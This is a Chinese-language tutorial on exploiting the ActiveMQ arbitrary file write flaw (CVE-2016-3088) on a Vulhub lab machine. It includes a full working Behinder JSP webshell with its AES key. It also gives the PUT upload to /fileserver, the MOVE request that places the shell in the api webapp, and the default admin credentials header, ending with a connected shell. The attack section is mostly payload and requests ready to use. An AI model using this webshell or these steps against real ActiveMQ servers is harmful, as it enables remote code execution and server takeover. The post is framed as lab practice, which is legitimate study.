当前位置: 首页 > news >正文

Vulhub靶机 ActiveMQ任意 文件写入(CVE-2016-3088)(渗透测试详解)

一、开启vulhub环境

docker-compose up -d  启动
docker ps 查看开放的端口

漏洞版本:ActiveMQ在5.14.0之前的版本(不包括5.14.0) 

二、访问靶机IP 8161端口

默认账户密码都是admin

1、利用bp抓包,修改为PUT方法并在fileserver目录上传ry.txt冰蝎马,回显204证明上传成功(注意要加Authorization:认证参数)

/fileserver/ry.txt  请求目录
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>  冰蝎码

2、访问/fileserver/ry.txt文件,看是否可以成功解析

解析成功

3、通过MOVE方法移动ry.txt冰蝎马到api页面的ry.jsp文件中

MOVE /fileserver/ry.txt  移动方法
Destination: file:///opt/activemq/webapps/api/ry.jsp  写入路径

3、访问/api/ry.jsp,看是否解析

三、冰蝎连接,得到一个shell

注,需要在自定义请求头加上认证参数,如下:Authorization: Basic YWRtaW46YWRtaW4=

至此,命令执行成功。

下期再见,家人们。

相关文章:

  • oracle表分区--范围分区
  • 利用prompt技术结合大模型对目标B/S架构软件系统进行测试
  • 今日AI和商界事件(2025-02-14)
  • LC-搜索二维矩阵II、相交链表、反转链表、回文链表、环形链表、环形链表ll
  • STM32_USART通用同步/异步收发器
  • git bisect 使用二分法查找引入错误的提交
  • 软件工程完整大型课设--《颐养中心系统》 三级项目报告
  • 开关电源实战(一)宽范围DC降压模块MP4560
  • 【ARM】JTAG接口介绍
  • 【编程实践】vscode+pyside6环境部署
  • 无人机不等同轴旋翼架构设计应用探究
  • 对指针的深入运用-通讯录的初步实现
  • 【鸿蒙开发】第三十五章 一次开发多端部署
  • 海康摄像头IPV6模式,手动,自动,路由公告
  • 设计模式-命令模式
  • 【含开题报告+文档+源码】基于Web的房地产销售网站的设计与实现
  • DeepSeek自然语言处理(NLP)基础与实践
  • 【3min 简单示例】Unity 通过 C# 脚本移动游戏物体
  • 6. Docker 本地镜像发布到私有库
  • RK3588 Linux平台部署DeepSeek模型教程
  • 马上评|扩大高速免费救援范围,打消出行后顾之忧
  • 航海王亚洲巡展、工厂店直销……上海多区推出“五五购物节”活动
  • 世界黄金协会:一季度全球黄金投资需求同比增170%
  • 神舟十九号航天员乘组平安抵京
  • 国务院任免国家工作人员:颜清辉任人社部副部长
  • 辽宁辽阳市白塔区一饭店火灾事故举行新闻发布会,现场为遇难者默哀